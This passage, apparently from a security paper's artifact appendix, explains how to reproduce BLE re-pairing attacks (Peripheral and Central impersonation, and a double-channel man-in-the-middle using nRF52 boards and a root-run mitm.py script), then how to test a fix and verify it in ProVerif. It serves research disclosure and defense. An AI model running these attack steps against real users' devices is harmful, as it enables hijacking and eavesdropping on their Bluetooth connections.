If successful, the expected log is similar to the previous
one, with a partially zeroed-out LTK and no errors (i.e.,
status = 0).

I. Real-World Device Testing (Approx. 10 minutes)

Follows the logic of Section H using device-specific param-
eters (e.g., address, device type). In addition to the require-
ments listed in Section E, actual BLE devices are needed (a
Central and a Peripheral). We recommend using a laptop or
smartphone as the Central device and a mouse or keyboard as
the Peripheral device. Testing BLE Audio devices is currently
not possible. Table II from the paper lists the devices we
tested, whether they are vulnerable, and the configurations and
software versions under which they are vulnerable.

Peripheral Impersonation:
1) Pair the Peripheral with the victim Central, then turn off

the Peripheral.
2) Configure the board with the victim’s address and appear-

ance (e.g., 962 for mice, or others).
3) Issue the advertise command to start the attack, as

the victim Central will try to auto-reconnect.
If the Peripheral log resembles the following one, the attack
was successful. When turned back on, the legitimate Peripheral
should no longer connect.

000000 encryption change event; status=0
000000 encrypted=1, authenticated=0, bonded=1

Central Impersonation:
1) Pair the devices, then turn off the legitimate Central (e.g.,

disable Bluetooth).
2) Configure the board with the Central’s address (typically

public).
3) Issue the connect command to start the attack.

If successful, the log is identical to the Peripheral Imperson-
ation attack. The legitimate Central should no longer be able
to connect to the legitimate Peripheral.

If either attack fails, the log will report an encryption change
error and, in some cases, the disconnection message.

000000 encryption change event; status=7
000000 encrypted=0, authenticated=0, bonded=0
000000 disconnect; reason=531

J. Double-channel MitM [Optional] (Approx. 5 minutes)

Testing the attack from Section IV-D requires using two
nRF52 boards connected to a host laptop (attacker) to in-
tercept traffic between two victim devices. The attack is
reproducible either in a controlled environment or against
real-world devices. However, here we assume two real-world
devices, configured to advertise and reconnect automatically.
We omit the attack flow for testing the MitM against two
nRF52 boards, as they do not perform automatic advertising
and reconnection and thus require extra commands and user
interaction.

1) Flash MitM firmware to both boards (clean install).
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make erase id=XXXXXXXXXX
make boot-10056 id=XXXXXXXXXX
make hci-dev id=XXXXXXXXXX

2) Connect the boards using the USB 2 port (see Figure 8).
3) Disconnect the legitimate devices by turning off Blue-

tooth on the Central.
4) Run the script with root. Find two HCI device IDs (-

-dev-ids) using sudo btmgmt info or hcitool
dev and looking for addresses 00:00:00:00:00:00.

sudo .venv/bin/python python-host/mitm.py \
--central-addr XX:XX:XX:XX:XX:XX \
--central-addr-type public \
--peripheral-name "Peripheral Name" \
--dev-ids X,Y

If the script crashes with the error “Unable to open socket
hciX: Unable to bind”, try changing USB ports until it
works correctly.

5) The malicious Central will connect to the legitimate
Peripheral, clone its advertisement data, and the malicious
Peripheral will start advertising.

6) Once advertising begins, manually turn the legitimate
Central’s Bluetooth back on. It will try to “reconnect”
to the malicious Peripheral, starting the attack. The le-
gitimate Central may display a Yes/No dialog to confirm
the connection.

[00:00:00] Peripheral: Advertising started with
address YY:YY:YY:YY:YY:YY

If the attack is successful, the logs should display an
encryption enabled message:

[00:00:00] Central: Encryption enabled

Additionally, the two devices should work but exhibit visible
lag (e.g., when using a mouse or keyboard), and the Periph-
eral’s battery percentage should be 69%. If the attack failed,
the logs should display the following messages instead:

[00:00:00] Peripheral: sent security request
[00:00:00] Disconnected: reason 19 error: 0

The artifact repository contains a video demonstrating the
double-channel MitM attack against a MacBook Air M1 and
a Logitech G603 mouse (see blerp-mitm-demo.webm).

K. Testing Hardened Re-pairing (Approx. 5 minutes)

Apply the patch, re-flash one nRF52, and repeat attacks
from Section H to test the hardened re-pairing logic (Sec-
tion VII-A).

./apply_fixes_patch.sh
make erase id=XXXXXXXXXX
make boot-10056 id=XXXXXXXXXX
make legitimate id=XXXXXXXXXX

For both attacks, the logs on at least one device should
report an encryption error similar to the following:

000000 encryption change event; status=1283
000000 encrypted=0, authenticated=0, bonded=0

L. Verifying Authenticated Re-pairing (Approx. 1 minute)

Use ProVerif (https: / /proverif . inria.fr) to verify the
authenticated and integrity-protected re-pairing protocol (Sec-
tion VII-B).

proverif formal/blerp_fix.pv

The model assumes a Dolev-Yao attacker with complete
control over the communication channel. It verifies that an
adversary cannot re-pair without knowing the original pair-
ing key (authentication) and cannot tamper with the pairing
messages (integrity). These two properties are formalized in a
single query, which should evaluate to true. We additionally
perform a sanity check using a query that should evaluate to
false, confirming that the protocol terminates correctly. The
expected ProVerif output is:

(* Integrity and Authentication *)
Query inj-event(end_B(k)) ==> inj-event(end_A(k)) is

true.

(* Sanity check *)
Query not (event(end_A(k)) && event(end_B(k))) is

false.
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